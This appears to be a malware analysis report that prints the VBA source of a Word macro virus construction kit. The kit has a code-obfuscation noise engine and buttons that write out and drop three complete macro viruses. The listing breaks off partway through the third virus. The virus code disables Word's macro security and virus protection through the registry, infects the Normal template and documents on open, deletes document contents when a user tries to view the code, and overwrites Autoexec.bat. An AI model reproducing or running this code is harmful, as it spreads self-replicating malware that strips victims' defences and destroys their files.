    Variable1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
    Variable2 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
    Variable3 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
    Variable4 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
    Variable5 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
    Variable6 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
End Sub

' My Noise Generator
' This Generator Contains Code Taken From "VicodinES Macro.Poppy Construction Kit v1.0d"
' Kewl

Sub MacroNoiseEngine()

Randomize
 
noisechance = Int(Rnd * 6)

select1 = Int(Rnd * 6)
select2 = Int(Rnd * 6)
select3 = Int(Rnd * 6)
select4 = Int(Rnd * 6)
select5 = Int(Rnd * 6)
select6 = Int(Rnd * 6)
encode1 = Int(Rnd * 9999)
encode2 = Int(Rnd * 9999)
encode3 = Int(Rnd * 9999)
crypt1 = Int(Rnd * 9999)
crypt2 = Int(Rnd * 9999)
crypt3 = Int(Rnd * 9999)

noisevar1$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & encode1 + crypt1
noisevar2$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22)))
noisevar3$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & encode3 + crypt3
noisevar4$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22)))
noisevar5$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & encode2 + crypt2
noisevar6$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & encode3 + crypt1

' CheckBox2.Value Selects Noise
If CheckBox2.Value = True Then

    If select1 = 1 Then
            Print #1, noisevar1$ + " = " + noisevar2 + " & " + noisevar3 + " & Int(Rnd * " & crypt3 & ")"
    End If
    If select1 = 2 Then
        Print #1, noisevar4$ + " = " + noisevar5 + " & " + noisevar6
    End If
    If select1 = 3 Then
        Print #1, noisevar1$ + " = " + noisevar2 + " & " + noisevar3 + " & Int(Rnd * " & crypt1 & ")"
    End If
    If select1 = 4 Then
        Print #1, noisevar4$ + " = " + noisevar5 + " & " + noisevar6
    End If
    If select1 = 5 Then
        Print #1, noisevar1$ + " = " + noisevar2 + " & " + noisevar3 + " & " + noisevar4 + " & " + noisevar5
    End If
    If select1 = 6 Then
        Print #1, noisevar4$ + " = " + noisevar5 + " & " + noisevar6 + " & " + noisevar2 + " & " + noisevar3
    End If

End If

End Sub




Attribute VB_Name = "WMVGAbout"
Attribute VB_Base = "0{B6B70E3C-6BB0-45E6-AC37-13376B1156A1}{AC67916D-F407-44DD-A6C7-FDCFDA1CEBC6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




Private Sub CommandButton1_Click()
WMVGAbout.Hide
WMVG.Show
End Sub

Private Sub Label2_Click()
WMVGSecretFrm4.Show
End Sub

Private Sub UserForm_Click()

End Sub

Attribute VB_Name = "WMVGExit"
Attribute VB_Base = "0{EB1F825C-F223-4B6D-B8E2-6A6235371C32}{9FE7C6B3-E450-4E6F-9342-3173966D15DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub UserForm_Initialize()
Oldtimer = Timer
While (Timer < Oldtimer + 3)
Wend
End Sub

Private Sub UserForm_Click()
WMVGExit.Hide
Application.Quit
End Sub


Attribute VB_Name = "WMVGExtras"
Attribute VB_Base = "0{22E17BBD-24D7-467E-B7DC-329B4D6C9680}{9877DE1D-D76C-4BE6-8EFC-9B2EB890B5B9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




' Drop FoolsGold Virus
Private Sub CommandButton1_Click()
On Error Resume Next

' Open source file for construction
Open Options.DefaultFilePath(wdDocumentsPath) & "\FoolsGold.bas" For Output As #1

    Print #1, "Attribute VB_Name = ""Fool"""
    Print #1, ""
    Print #1, "Sub AutoOpen()"
    Print #1, "'FoolsGold 2000 Virus vWMVG"
    Print #1, "'The WaLRuS 09/00"
    Print #1, "On Error Resume Next"
    Print #1, "Options.ConfirmConversions = False"
    Print #1, "Options.VirusProtection = False"
    Print #1, "Options.SaveNormalPrompt = False"
    Print #1, "CommandBars(""Macro"").Controls(""Security..."").Enabled = False"
    Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
    Print #1, "ActiveDocument.ReadOnlyRecommended = False"
    Print #1, "If (Second(Now()) > 50) Then System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"", ""RegisteredOwner"") = ""The WaLRuS"""
    Print #1, "If Day(Now) = 31 Then Call Payload"
    Print #1, "Set Norm = NormalTemplate.VBProject.VBComponents"
    Print #1, "Set Doc = ActiveDocument.VBProject.VBComponents"
    Print #1, "If Norm.Item(""Fool"").Name <> ""Fool"" Then"
    Print #1, "Doc(""Fool"").Export ""c:\Fool.drv"""
    Print #1, "Set infect = NormalTemplate.VBProject"
    Print #1, "ElseIf Doc.Item(""Fool"").Name <> ""Fool"" Then"
    Print #1, "Norm(""Fool"").Export ""c:\Fool.drv"""
    Print #1, "Set infect = ActiveDocument.VBProject"
    Print #1, "End If"
    Print #1, "infect.VBComponents.Import (""c:\Fool.drv"")"
    Print #1, "Kill (""c:\Fool.drv"")"
    Print #1, "ActiveDocument.Save"
    Print #1, "End Sub"
    Print #1, ""
    Print #1, "Sub HelpAbout()"
    Print #1, "On Error Resume Next"
    Print #1, "Call Payload"
    Print #1, "End Sub"
    Print #1, ""
    Print #1, "Sub Payload()"
    Print #1, "On Error Resume Next"
    Print #1, "MsgBox ""FoolsGold 2000 by The WaLRuS "", vbInformation"""
    Print #1, "Assistant.Visible = True"
    Print #1, "With Assistant.NewBalloon"
    Print #1, ".Icon = msoIconAlert"
    Print #1, ".Text = ""FoolsGold 2000 Thanks You!"""
    Print #1, ".Heading = ""GREETINGS"""
    Print #1, "End With"
    Print #1, "SetAttr ""C:\Autoexec.bat"", 0"
    Print #1, "Open ""C:\Autoexec.bat"" For Append As #1"
    Print #1, "Print #1, ""CLS"""
    Print #1, "Print #1, ""ECHO                ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·"""
    Print #1, "Print #1, ""ECHO                º  *****************************************  º"""
    Print #1, "Print #1, ""ECHO                º  *  FoolsGold 2000 Virus by The WaLRuS   *  º"""
    Print #1, "Print #1, ""ECHO                º  *****************************************  º"""
    Print #1, "Print #1, ""ECHO                º  The Fools Gold Virus wishes to thank the   º"""
    Print #1, "Print #1, ""ECHO                º  user of this computer because you have     º"""
    Print #1, "Print #1, ""ECHO                º  helped to spread the good words of peace!  º"""
    Print #1, "Print #1, ""ECHO                º  WaLRuS                                     º"""
    Print #1, "Print #1, ""ECHO                ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ"""
    Print #1, "Close #1"
    Print #1, "Finish:"
    Print #1, "End Sub"
    Print #1, ""
    Print #1, "Sub ToolsMacro()"
    Print #1, "On Error Resume Next"
    Print #1, "Call Stealthy"
    Print #1, "End Sub"

    Print #1, "Sub FileTemplates()"
    Print #1, "On Error Resume Next"
    Print #1, "Call Stealthy"
    Print #1, "End Sub"

    Print #1, "Sub ViewVBCode()"
    Print #1, "On Error Resume Next"
    Print #1, "Call Stealthy"
    Print #1, "End Sub"

    Print #1, "Sub Stealthy()"
    Print #1, "On Error Resume Next"
    Print #1, "Selection.WholeStory"
    Print #1, "Selection.Delete Unit:=wdCharacter, Count:=1"
    Print #1, "ActiveDocument.Save"
    Print #1, "Call Payload"
    Print #1, "End Sub"
    Close #1
    
    ' Open document and then infect it, save it and close it
    Documents.Add Template:=NormalTemplate.FullName, NewTemplate:=False
    ActiveDocument.VBProject.VBComponents.Import (Options.DefaultFilePath(wdDocumentsPath) & "\FoolsGold.bas")
    ActiveDocument.SaveAs (Options.DefaultFilePath(wdDocumentsPath) & "\FoolsGold.doc")
    ActiveDocument.Close
    
    MsgBox "The Fools Gold Virus By The WalruS" & vbCr & "Has Now Been Dropped", vbInformation, "WMVG"

End Sub

' Drop Puny Virus
Private Sub CommandButton2_Click()
On Error Resume Next

' Open source file for construction
Open Options.DefaultFilePath(wdDocumentsPath) & "\Puny.bas" For Output As #1

    Print #1, "Attribute VB_Name = ""Puny"""
    Print #1, "Sub AutoOpen()"
    Print #1, "'Puny vWMVG WalruS"
    Print #1, "On Error Resume Next"
    Print #1, "Options.SaveNormalPrompt = False"
    Print #1, "Set N = NormalTemplate.VBProject.VBComponents: Set D = ActiveDocument.VBProject.VBComponents"
    Print #1, "If N.Item(""Puny"").Name <> ""Puny"" Then"
    Print #1, "D(""Puny"").Export ""C:\P"": Set i = NormalTemplate.VBProject"
    Print #1, "ElseIf D.Item(""Puny"").Name <> ""Puny"" Then"
    Print #1, "N(""Puny"").Export ""C:\P"": Set i = ActiveDocument.VBProject"
    Print #1, "End If"
    Print #1, "i.VBComponents.Import (""C:\P"")"
    Print #1, "ActiveDocument.Save"
    Print #1, "End Sub"
    Close #1
    
   ' Open document and then infect it, save it and close it
    Documents.Add Template:=NormalTemplate.FullName, NewTemplate:=False
    ActiveDocument.VBProject.VBComponents.Import (Options.DefaultFilePath(wdDocumentsPath) & "\Puny.bas")
    ActiveDocument.SaveAs (Options.DefaultFilePath(wdDocumentsPath) & "\Puny.doc")
    ActiveDocument.Close
    
    MsgBox "The Puny Virus By The WalruS" & vbCr & "Has Now Been Dropped", vbInformation, "WMVG"
    
End Sub
' Drop LSD Virus
Private Sub CommandButton3_Click()
On Error Resume Next

' Open source file for construction
Open Options.DefaultFilePath(wdDocumentsPath) & "\LSD.cls" For Output As #1

    Print #1, "Private Declare Function SetSysColors Lib ""user32"" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long"
    Print #1, "Private Sub Document_Open()"
    Print #1, "' LSD"
    Print #1, "' By The WalruS 09/00 vWMVG"
    Print #1, ""
    Print #1, "On Error Resume Next"
    Print #1, ""
    Print #1, "Randomize"
    Print #1, ""
    Print #1, "If Left(ActiveDocument.Name, 8) = ""Document"" Then Exit Sub"
    Print #1, ""
    Print #1, "Select Case Application.Version"
    Print #1, ""
    Print #1, "Case ""9.0"""
    Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
    Print #1, "CommandBars(""Macro"").Controls(""Security..."").Enabled = False"
    Print #1, ""
    Print #1, "Case ""8.0"""
    Print #1, "Options.VirusProtection = False"
    Print #1, "Options.SaveNormalPrompt = False"
    Print #1, "End Select"
    Print #1, "     "
    Print #1, "With Application"
    Print #1, "    .ScreenUpdating = False"
    Print #1, "    .DisplayStatusBar = False"
    Print #1, "    .DisplayAlerts = False"
    Print #1, "End With"
    Print #1, ""
    Print #1, "KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:="" """
    Print #1, ""
    Print #1, "Set nor = NormalTemplate.VBProject.vbcomponents(1).CodeModule"
    Print #1, "Set doc = ActiveDocument.VBProject.vbcomponents(1).CodeModule"
    Print #1, ""
    Print #1, "ChangeHook = Int(Rnd * 2)"
…

Open this report in the interactive analyzer, or submit your own file for analysis.